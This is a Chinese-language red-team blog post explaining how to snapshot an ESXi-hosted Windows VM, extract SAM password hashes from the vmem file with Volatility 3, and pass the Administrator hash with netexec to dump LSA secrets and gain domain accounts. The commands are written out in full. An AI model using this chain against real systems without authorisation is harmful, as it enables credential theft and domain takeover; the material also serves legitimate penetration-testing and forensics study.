利用Volatility进行离线内存取证分析

本文详细介绍了如何使用Volatility工具从ESXi虚拟机快照中提取SAM哈希,通过内存取证技术实现权限提升,展示了从本地用户到域账户的完整攻击链,包含具体操作步骤和命令示例。

离线内存取证与Volatility

作为攻击者,我们通常有一个目标:尽可能深入、快速地挖掘。但当您碰壁无处可去时该怎么办?内存取证可能会提供一条出路。如果您获得了ESXi的访问权限,但只能拍摄快照怎么办?您无法将自己添加到ESXi域组,也找不到任何未锁定的计算机……那么现在该怎么办?

离线内存分析

这种情况下,Volatility就派上了用场。Volatility是一款内存取证工具,可以从vmem文件中提取SAM哈希。这些哈希可用于从本地用户或无用户权限提升到域用户,从而导致进一步的入侵。以下示例场景将展示此过程涉及的步骤。

场景

假设您在一个网络中,发现服务器上存在IPMI哈希泄露漏洞。您转储了哈希并以某种方式成功破解了它。您登录到服务器,并注意到该服务器托管ESXi。从这里,您尝试使用凭据对ESXi进行身份验证,令人惊讶的是,它成功了。现在怎么办?您可以选择大声喧哗、嘈杂的路线,探测所有虚拟机并希望获得最佳结果。或者,您可以找到一个Windows虚拟机,拍摄快照,从中提取管理员凭据,并中继凭据以转储LSA,并在不发出任何噪音的情况下获得域账户。

动手操作

本地管理员

首先确保您拥有适当的权限,并对加入域的Windows虚拟机拍摄快照。

拍摄快照

虚拟机创建

确保勾选“包含虚拟机内存”框。

快照制作完成后,导航到快照并找到vmem文件。将其下载到Linux主机。

安装Volatility

一旦获得文件,您需要下载Volatility。

1
2
3
4
git clone https://github.com/volatilityfoundation/volatility3.git 
cd volatility3/ 
python3 -m venv venv && . venv/bin/activate 
pip install -e .[dev] 

安装Volatility3

工具安装完成后,我们准备提取SAM凭据以获取本地管理员凭据。

附注:此命令可能有助于找出正在使用的EDR。

1
python3 vol.py -f ~/Downloads/virtualmachine.vmem windows.pslist

对vmem文件运行以下命令以提取SAM凭据。

1
python3 vol.py -f ~/Downloads/virtualmachine.vmem windows.hashdump.Hashdump

以下内容应转储到您的终端中。

转储的SAM哈希

从这里,您可以在同一主机上使用netexec中继凭据哈希,并获取lsass和域账户凭据。

1
Netexec smb <IP> -u Administrator -H <HASH> --local-auth --lsa

其余部分不言自明;您现在应该自豪地拥有一个或两个域账户。

结论

有时,最好的攻击方法是采用新颖的想法,即防御者意想不到的方法。防御内存分析极其困难,值得在您的下一次任务中尝试。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计